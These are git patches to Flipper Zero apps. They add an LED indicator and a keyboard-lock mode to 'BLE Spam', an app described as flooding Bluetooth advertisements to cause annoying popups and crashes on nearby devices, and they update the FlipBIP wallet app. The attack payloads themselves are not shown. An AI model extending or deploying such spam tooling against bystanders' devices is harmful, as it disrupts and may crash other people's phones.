b/applications/external/ble_spam/ble_spam.c @@ -149,6 +149,27 @@ typedef struct { int8_t index; } State; +NotificationMessage blink_message = { + .type = NotificationMessageTypeLedBlinkStart, + .data.led_blink.color = LightBlue | LightGreen, + .data.led_blink.on_time = 10, + .data.led_blink.period = 100, +}; +const NotificationSequence blink_sequence = { + &blink_message, + &message_do_not_reset, + NULL, +}; +static void start_blink(State* state) { + uint16_t period = delays[state->delay]; + if(period <= 100) period += 30; + blink_message.data.led_blink.period = period; + notification_message_block(state->ctx.notification, &blink_sequence); +} +static void stop_blink(State* state) { + notification_message_block(state->ctx.notification, &sequence_blink_stop); +} + static int32_t adv_thread(void* _ctx) { State* state = _ctx; uint8_t size; @@ -158,6 +179,7 @@ static int32_t adv_thread(void* _ctx) { Payload* payload = &attacks[state->index].payload; const Protocol* protocol = attacks[state->index].protocol; if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac)); + if(state->ctx.led_indicator) start_blink(state); while(state->advertising) { if(protocol) { @@ -175,6 +197,7 @@ static int32_t adv_thread(void* _ctx) { furi_hal_bt_custom_adv_stop(); } + if(state->ctx.led_indicator) stop_blink(state); return 0; } @@ -315,7 +338,7 @@ static void draw_callback(Canvas* canvas, void* _ctx) { "App+Spam: \e#WillyJL\e# XFW\n" "Apple+Crash: \e#ECTO-1A\e#\n" "Android+Win: \e#Spooks4576\e#\n" - " Version \e#3.1\e#", + " Version \e#3.2\e#", false); break; default: { @@ -385,11 +408,13 @@ static bool input_callback(InputEvent* input, void* _ctx) { case InputKeyUp: if(is_attack && state->delay < COUNT_OF(delays) - 1) { state->delay++; + if(advertising) start_blink(state); } break; case InputKeyDown: if(is_attack && state->delay > 0) { state->delay--; + if(advertising) start_blink(state); } break; case InputKeyLeft: @@ -429,7 +454,9 @@ int32_t ble_spam(void* p) { furi_thread_set_callback(state->thread, adv_thread); furi_thread_set_context(state->thread, state); furi_thread_set_stack_size(state->thread, 4096); + state->ctx.led_indicator = true; + state->ctx.notification = furi_record_open(RECORD_NOTIFICATION); Gui* gui = furi_record_open(RECORD_GUI); state->ctx.view_dispatcher = view_dispatcher_alloc(); view_dispatcher_enable_queue(state->ctx.view_dispatcher); @@ -486,6 +513,7 @@ int32_t ble_spam(void* p) { scene_manager_free(state->ctx.scene_manager); view_dispatcher_free(state->ctx.view_dispatcher); furi_record_close(RECORD_GUI); + furi_record_close(RECORD_NOTIFICATION); furi_thread_free(state->thread); free(state); diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h index eaf06b9e1..b72ca7cc5 100644 --- a/applications/external/ble_spam/ble_spam.h +++ b/applications/external/ble_spam/ble_spam.h @@ -1,5 +1,6 @@ #pragma once +#include #include #include #include @@ -19,6 +20,7 @@ enum { enum { ConfigRandomMac, ConfigExtraStart = ConfigRandomMac, + ConfigLedIndicator, }; typedef struct Attack Attack; @@ -27,7 +29,9 @@ typedef struct { Attack* attack; uint8_t byte_store[3]; VariableItemListEnterCallback fallback_config_enter; + bool led_indicator; + NotificationApp* notification; ViewDispatcher* view_dispatcher; SceneManager* scene_manager; diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index 5d1267276..376d336ac 100644 --- a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -2,10 +2,15 @@ #include "protocols/_protocols.h" -static void random_mac_changed(VariableItem* item) { - Ctx* ctx = variable_item_get_context(item); - ctx->attack->payload.random_mac = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); +static void _config_bool(VariableItem* item) { + bool* value = variable_item_get_context(item); + *value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, *value ? "ON" : "OFF"); +} +static void config_bool(VariableItemList* list, const char* name, bool* value) { + VariableItem* item = variable_item_list_add(list, name, 2, _config_bool, value); + variable_item_set_current_value_index(item, *value); + variable_item_set_current_value_text(item, *value ? "ON" : "OFF"); } static void config_callback(void* _ctx, uint32_t index) { @@ -19,21 +24,20 @@ static void config_callback(void* _ctx, uint32_t index) { switch(index) { case ConfigRandomMac: break; + case ConfigLedIndicator: + break; default: break; } } void scene_config_on_enter(void* _ctx) { Ctx* ctx = _ctx; - VariableItem* item; VariableItemList* list = ctx->variable_item_list; variable_item_list_reset(list); variable_item_list_set_header(list, ctx->attack->title); - item = variable_item_list_add(list, "Random MAC", 2, random_mac_changed, ctx); - variable_item_set_current_value_index(item, ctx->attack->payload.random_mac); - variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); + config_bool(list, "Random MAC", &ctx->attack->payload.random_mac); variable_item_list_set_enter_callback(list, config_callback, ctx); if(!ctx->attack->protocol) { @@ -43,6 +47,8 @@ void scene_config_on_enter(void* _ctx) { ctx->attack->protocol->extra_config(ctx); } + config_bool(list, "LED Indicator", &ctx->led_indicator); + variable_item_list_set_selected_item( list, scene_manager_get_scene_state(ctx->scene_manager, SceneConfig)); From aa9287313f73fdc75fe1103534e058ddaf464f3e Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 08:27:43 +0100 Subject: [PATCH 51/56] BLE Spam add lock keyboard option (v3.3) --- .../external/ble_spam/application.fam | 2 +- applications/external/ble_spam/ble_spam.c | 72 +++++++++++++++---- applications/external/ble_spam/ble_spam.h | 2 + .../external/ble_spam/scenes/config.c | 11 ++- 4 files changed, 73 insertions(+), 14 deletions(-) diff --git a/applications/external/ble_spam/application.fam b/applications/external/ble_spam/application.fam index b6a3ce5ea..532a55cfb 100644 --- a/applications/external/ble_spam/application.fam +++ b/applications/external/ble_spam/application.fam @@ -8,7 +8,7 @@ App( fap_category="Bluetooth", fap_author="@Willy-JL @ECTO-1A @Spooks4576", fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam", - fap_version="3.2", + fap_version="3.3", fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications", fap_icon_assets="icons", fap_icon_assets_symbol="ble_spam", diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 11eeaabac..5c7e886ec 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -142,6 +142,11 @@ static uint16_t delays[] = {20, 50, 100, 200}; typedef struct { Ctx ctx; + View* main_view; + bool lock_warning; + uint8_t lock_count; + FuriTimer* lock_timer; + bool resume; bool advertising; uint8_t delay; @@ -208,9 +213,9 @@ static void toggle_adv(State* state) { furi_thread_join(state->thread); if(state->resume) furi_hal_bt_start_advertising(); } else { + state->advertising = true; state->resume = furi_hal_bt_is_active(); furi_hal_bt_stop_advertising(); - state->advertising = true; furi_thread_start(state->thread); } } @@ -338,11 +343,15 @@ static void draw_callback(Canvas* canvas, void* _ctx) { "App+Spam: \e#WillyJL\e# XFW\n" "Apple+Crash: \e#ECTO-1A\e#\n" "Android+Win: \e#Spooks4576\e#\n" - " Version \e#3.2\e#", + " Version \e#3.3\e#", false); break; default: { if(!attack) break; + if(state->ctx.lock_keyboard && !state->advertising) { + // Forgive me Lord for I have sinned by handling state in draw + toggle_adv(state); + } char str[32]; canvas_set_font(canvas, FontBatteryPercent); @@ -378,6 +387,17 @@ static void draw_callback(Canvas* canvas, void* _ctx) { if(state->index < PAGE_MAX) { elements_button_right(canvas, next); } + + if(state->ctx.lock_keyboard) { + canvas_set_font(canvas, FontSecondary); + elements_bold_rounded_frame(canvas, 14, 8, 99, 48); + elements_multiline_text(canvas, 65, 26, "To unlock\npress:"); + canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8); + canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8); + canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8); + canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42); + canvas_draw_dot(canvas, 17, 61); + } } static bool input_callback(InputEvent* input, void* _ctx) { @@ -385,8 +405,22 @@ static bool input_callback(InputEvent* input, void* _ctx) { State* state = *(State**)view_get_model(view); bool consumed = false; - if(input->type == InputTypeShort || input->type == InputTypeLong || - input->type == InputTypeRepeat) { + if(state->ctx.lock_keyboard) { + consumed = true; + with_view_model( + state->main_view, State * *model, { (*model)->lock_warning = true; }, true); + if(state->lock_count == 0) { + furi_timer_start(state->lock_timer, pdMS_TO_TICKS(1000)); + } + if(input->type == InputTypeShort && input->key == InputKeyBack) { + state->lock_count++; + } + if(state->lock_count >= 3) { + furi_timer_start(state->lock_timer, 1); + } + } else if( + input->type == InputTypeShort || input->type == InputTypeLong || + input->type == InputTypeRepeat) { consumed = true; bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1; @@ -442,6 +476,18 @@ static bool input_callback(InputEvent* input, void* _ctx) { return consumed; } +static void lock_timer_callback(void* _ctx) { + State* state = _ctx; + if(state->lock_count < 3) { + notification_message_block(state->ctx.notification, &sequence_display_backlight_off); + } else { + state->ctx.lock_keyboard = false; + } + with_view_model( + state->main_view, State * *model, { (*model)->lock_warning = false; }, true); + state->lock_count = 0; +} + static bool back_event_callback(void* _ctx) { Ctx* ctx = _ctx; return scene_manager_handle_back_event(ctx->scene_manager); @@ -455,6 +501,7 @@ int32_t ble_spam(void* p) { furi_thread_set_context(state->thread, state); furi_thread_set_stack_size(state->thread, 4096); state->ctx.led_indicator = true; + state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state); state->ctx.notification = furi_record_open(RECORD_NOTIFICATION); Gui* gui = furi_record_open(RECORD_GUI); @@ -464,14 +511,14 @@ int32_t ble_spam(void* p) { view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback); state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx); - View* view_main = view_alloc(); - view_allocate_model(view_main, ViewModelTypeLockFree, sizeof(State*)); + state->main_view = view_alloc(); + view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*)); with_view_model( - view_main, State * *model, { *model = state; }, false); - view_set_context(view_main, view_main); - view_set_draw_callback(view_main, draw_callback); - view_set_input_callback(view_main, input_callback); - view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, view_main); + state->main_view, State * *model, { *model = state; }, false); + view_set_context(state->main_view, state->main_view); + view_set_draw_callback(state->main_view, draw_callback); + view_set_input_callback(state->main_view, input_callback); + view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view); state->ctx.byte_input = byte_input_alloc(); view_dispatcher_add_view( @@ -508,13 +555,14 @@ int32_t ble_spam(void* p) { variable_item_list_free(state->ctx.variable_item_list); view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain); - view_free(view_main); + view_free(state->main_view); scene_manager_free(state->ctx.scene_manager); view_dispatcher_free(state->ctx.view_dispatcher); furi_record_close(RECORD_GUI); furi_record_close(RECORD_NOTIFICATION); + furi_timer_free(state->lock_timer); furi_thread_free(state->thread); free(state); return 0; diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h index b72ca7cc5..6be71147e 100644 --- a/applications/external/ble_spam/ble_spam.h +++ b/applications/external/ble_spam/ble_spam.h @@ -21,6 +21,7 @@ enum { ConfigRandomMac, ConfigExtraStart = ConfigRandomMac, ConfigLedIndicator, + ConfigLockKeyboard, }; typedef struct Attack Attack; @@ -30,6 +31,7 @@ typedef struct { uint8_t byte_store[3]; VariableItemListEnterCallback fallback_config_enter; bool led_indicator; + bool lock_keyboard; NotificationApp* notification; ViewDispatcher* view_dispatcher; diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index 376d336ac..cfbbbf952 100644 --- a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -16,7 +16,9 @@ static void config_bool(VariableItemList* list, const char* name, bool* value) { static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); - if(ctx->attack->protocol && ctx->attack->protocol->config_count) { + if(!ctx->attack->protocol) { + index--; + } else if(ctx->attack->protocol->config_count) { uint8_t extra = ctx->attack->protocol->config_count(&ctx->attack->payload.cfg); if(index > extra) index -= extra; } @@ -26,6 +28,11 @@ static void config_callback(void* _ctx, uint32_t index) { break; case ConfigLedIndicator: break; + case ConfigLockKeyboard: + ctx->lock_keyboard = true; + scene_manager_previous_scene(ctx->scene_manager); + notification_message_block(ctx->notification, &sequence_display_backlight_off); + break; default: break; } @@ -49,6 +56,8 @@ void scene_config_on_enter(void* _ctx) { config_bool(list, "LED Indicator", &ctx->led_indicator); + variable_item_list_add(list, "Lock Keyboard", 0, NULL, NULL); + variable_item_list_set_selected_item( list, scene_manager_get_scene_state(ctx->scene_manager, SceneConfig)); From 9fb790e5c981ecd5891c53ebeaee19ccb36ce05e Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 21:47:28 +0100 Subject: [PATCH 52/56] Fix some graphical bugs --nobuild --- applications/external/ble_spam/ble_spam.c | 2 +- applications/external/ble_spam/scenes/config.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 5c7e886ec..b3edf165f 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -388,7 +388,7 @@ static void draw_callback(Canvas* canvas, void* _ctx) { elements_button_right(canvas, next); } - if(state->ctx.lock_keyboard) { + if(state->lock_warning) { canvas_set_font(canvas, FontSecondary); elements_bold_rounded_frame(canvas, 14, 8, 99, 48); elements_multiline_text(canvas, 65, 26, "To unlock\npress:"); diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index cfbbbf952..354de6399 100644 --- a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -48,7 +48,7 @@ void scene_config_on_enter(void* _ctx) { variable_item_list_set_enter_callback(list, config_callback, ctx); if(!ctx->attack->protocol) { - variable_item_list_add(list, "None shall escape the S I N K", 0, NULL, NULL); + variable_item_list_add(list, "None shall escape the SINK", 0, NULL, NULL); } else if(ctx->attack->protocol->extra_config) { ctx->fallback_config_enter = config_callback; ctx->attack->protocol->extra_config(ctx); From 25045ca67f4c4cae453f8add5e9f8411c00e48ad Mon Sep 17 00:00:00 2001 From: Struan Clark Date: Sat, 21 Oct 2023 20:16:37 -0600 Subject: [PATCH 53/56] feat: 1.14 update --- applications/external/flipbip/application.fam | 3 +- applications/external/flipbip/flipbip.c | 30 ++++++++++++++++++ applications/external/flipbip/flipbip.h | 21 +++++++++++- .../flipbip/icons/ButtonDown_10x5.png | Bin 6223 -> 0 bytes .../external/flipbip/icons/ButtonUp_10x5.png | Bin 6233 -> 0 bytes .../flipbip/scenes/flipbip_scene_menu.c | 23 +++++--------- 6 files changed, 60 insertions(+), 17 deletions(-) delete mode 100644 applications/external/flipbip/icons/ButtonDown_10x5.png delete mode 100644 applications/external/flipbip/icons/ButtonUp_10x5.png diff --git a/applications/external/flipbip/application.fam b/applications/external/flipbip/application.fam index 0831ff432..c7d67e3f9 100644 --- a/applications/external/flipbip/application.fam +++ b/applications/external/flipbip/application.fam @@ -7,6 +7,7 @@ App( "gui", ], stack_size=3 * 1024, + order=10, fap_icon="flipbip_10px.png", fap_private_libs=[ Lib( @@ -16,6 +17,6 @@ App( fap_category="Tools", fap_author="Struan Clark (xtruan)", fap_weburl="https://github.com/xtruan/FlipBIP", - fap_version=(1, 13), + fap_version=(1, 14), fap_description="Crypto wallet for Flipper", ) diff --git a/applications/external/flipbip/flipbip.c b/applications/external/flipbip/flipbip.c index 7a7237639..46904592d 100644 --- a/applications/external/flipbip/flipbip.c +++ b/applications/external/flipbip/flipbip.c @@ -90,6 +90,23 @@ static void text_input_callback(void* context) { } } +static void flipbip_scene_renew_dialog_callback(DialogExResult result, void* context) { + FlipBip* app = context; + if(result == DialogExResultRight) { + app->wallet_create(app); + } else { + view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewIdMenu); + } +} + +static void flipbip_wallet_create(void* context) { + FlipBip* app = context; + furi_assert(app); + scene_manager_set_scene_state( + app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New); + scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1); +} + FlipBip* flipbip_app_alloc() { FlipBip* app = malloc(sizeof(FlipBip)); app->gui = furi_record_open(RECORD_GUI); @@ -148,6 +165,16 @@ FlipBip* flipbip_app_alloc() { view_dispatcher_add_view( app->view_dispatcher, FlipBipViewIdTextInput, text_input_get_view(app->text_input)); + app->wallet_create = flipbip_wallet_create; + app->renew_dialog = dialog_ex_alloc(); + dialog_ex_set_result_callback(app->renew_dialog, flipbip_scene_renew_dialog_callback); + dialog_ex_set_context(app->renew_dialog, app); + dialog_ex_set_left_button_text(app->renew_dialog, "No"); + dialog_ex_set_right_button_text(app->renew_dialog, "Yes"); + dialog_ex_set_header(app->renew_dialog, "Current wallet\nWill be lost.\nProceed?", 16, 12, AlignLeft, AlignTop); + view_dispatcher_add_view( + app->view_dispatcher, FlipBipViewRenewConfirm, dialog_ex_get_view(app->renew_dialog)); + // End Scene Additions return app; @@ -168,6 +195,9 @@ void flipbip_app_free(FlipBip* app) { view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewIdTextInput); submenu_free(app->submenu); + view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewRenewConfirm); + dialog_ex_free(app->renew_dialog); + view_dispatcher_free(app->view_dispatcher); furi_record_close(RECORD_GUI); diff --git a/applications/external/flipbip/flipbip.h b/applications/external/flipbip/flipbip.h index 9f5994b80..573ef0588 100644 --- a/applications/external/flipbip/flipbip.h +++ b/applications/external/flipbip/flipbip.h @@ -9,12 +9,13 @@ #include #include #include +#include #include #include #include "scenes/flipbip_scene.h" #include "views/flipbip_scene_1.h" -#define FLIPBIP_VERSION "v1.13" +#define FLIPBIP_VERSION "v1.14" #define COIN_BTC 0 #define COIN_DOGE 3 @@ -23,6 +24,8 @@ #define TEXT_BUFFER_SIZE 256 + + typedef struct { Gui* gui; // NotificationApp* notification; @@ -31,6 +34,7 @@ typedef struct { SceneManager* scene_manager; VariableItemList* variable_item_list; TextInput* text_input; + DialogEx* renew_dialog; FlipBipScene1* flipbip_scene_1; char* mnemonic_menu_text; // Settings options @@ -45,6 +49,8 @@ typedef struct { char passphrase_text[TEXT_BUFFER_SIZE]; char import_mnemonic_text[TEXT_BUFFER_SIZE]; char input_text[TEXT_BUFFER_SIZE]; + + void (* wallet_create)(void* context); } FlipBip; typedef enum { @@ -53,6 +59,7 @@ typedef enum { FlipBipViewIdScene1, FlipBipViewIdSettings, FlipBipViewIdTextInput, + FlipBipViewRenewConfirm, } FlipBipViewId; typedef enum { @@ -86,3 +93,15 @@ typedef enum { FlipBipStatusSaveError = 12, FlipBipStatusMnemonicCheckError = 13, } FlipBipStatus; + +typedef enum { + SubmenuIndexScene1BTC = 10, + SubmenuIndexScene1ETH, + SubmenuIndexScene1DOGE, + SubmenuIndexScene1ZEC, + SubmenuIndexScene1New, + SubmenuIndexScene1Renew, + SubmenuIndexScene1Import, + SubmenuIndexSettings, + SubmenuIndexNOP, +} SubmenuIndex; diff --git a/applications/external/flipbip/icons/ButtonDown_10x5.png b/applications/external/flipbip/icons/ButtonDown_10x5.png deleted file mode 100644 index b492b926c45def68d88b03c380527e226740beb6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6223 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 